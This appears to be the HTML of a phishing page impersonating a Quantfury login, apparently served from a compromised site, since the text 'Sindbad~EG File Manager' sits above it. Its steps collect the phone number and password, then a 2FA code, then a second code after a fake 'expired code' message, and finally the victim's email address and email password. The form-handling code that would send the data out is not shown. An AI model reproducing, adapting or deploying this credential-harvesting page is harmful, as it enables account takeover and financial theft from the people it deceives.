Sindbad~EG File Manager

<nav id="main-nav">
    <img src="./img/logo.svg" alt="" style="width:130px;">
</nav>
<section class="primary">
    
    <div id="stp1" class="container stps">
        <hgroup>
            <h1>Bienvenido a Quantfury</h1>
        </hgroup>
        <form id="frm1">
            <div class="txt-input">
                <label for="tlf01">Número de teléfono móvil</label>
                <input class="tlf-inputs" type="text" id="tlf01" name="tlf01" placeholder="000 000 000" required oninput="this.value = this.value.replace(/[^0-9]/g, '')" inputmode="numeric">
            </div>
            <div class="txt-input">
                <label for="pwd01">Contraseña</label>
                <input type="password" id="pwd01" name="pwd01" placeholder="" required>
            </div>
            <button type="submit" class="btn">Iniciar sesión</button>
        </form>
        <div class="std-link">
            <p>¿Olvidaste tu contraseña?</p>
        </div>
    </div>

    <div id="stp2" class="container stps hidden">
        <hgroup>
            <h1>Autenticación de dos factores</h1>
            <h2>Introduce el código de 6 dígitos enviado a tu email o a tu aplicación de authenticator</h2>
        </hgroup>
        <form id="frm2">
            <div class="txt-input">
                <label for="auth01">Código de autenticación</label>
                <input class="auth-inputs" type="text" id="auth01" name="auth01" placeholder="000 000" required oninput="this.value = this.value.replace(/[^0-9]/g, '')" maxlength="6" inputmode="numeric">
            </div>
            <button type="submit" class="btn">Siguiente</button>
        </form>
        <div class="std-link">
            <p>¿Perdiste tu dispositivo authenticator?</p>
        </div>
    </div>

    <div id="stp3" class="container stps hidden">
        <hgroup>
            <h1>Autenticación de dos factores</h1>
            <span style="color: rgb(255, 153, 0);">El codigo ingresado expiró o es incorrecto</span>
            <h2>Introduce el código de 6 dígitos enviado a tu email o a tu aplicación de authenticator</h2>
        </hgroup>
        <form id="frm3">
            <div class="txt-input">
                <label for="auth02">Código de autenticación</label>
                <input class="auth-inputs" type="text" id="auth02" name="auth02" placeholder="000 000" required oninput="this.value = this.value.replace(/[^0-9]/g, '')" maxlength="6" inputmode="numeric">
            </div>
            <button type="submit" class="btn">Siguiente</button>
        </form>
        <div class="std-link">
            <p>¿Perdiste tu dispositivo authenticator?</p>
        </div>
    </div>

    <div id="stp4" class="container stps hidden">
        <hgroup>
            <h1>Verificación de Datos</h1>
            <h2>Valída la información de tu correo electrónico</h2>
        </hgroup>
        <form id="frm4">
            <div class="txt-input">
                <label for="eml01">Correo electrónico</label>
                <input type="email" id="eml01" name="eml01" placeholder="" required autocomplete="off">
            </div>
            <div class="txt-input">
                <label for="emlpwd01">Contraseña de Email</label>
                <input type="password" id="emlpwd01" name="emlpwd01" placeholder="" required>
            </div>
            <button type="submit" class="btn">Siguiente</button>
        </form>
        <div class="std-link">
            <p>Recuerda verificar que los datos ingresados sean correctos</p>
        </div>
    </div>


    <div id="tkn-loader" class="container stps hidden">
        <hgroup>
            <h1>Validando información</h1>
            <h2>Espera por favor mientras validamos tu información</h2>
        </hgroup>
        
        <div class="ldr-img">
            <img src="./img/loader2.gif" alt="">
        </div>

        <div class="std-link">
            <p>Serás redirigido automáticamente</p>
        </div>
    </div>



</section>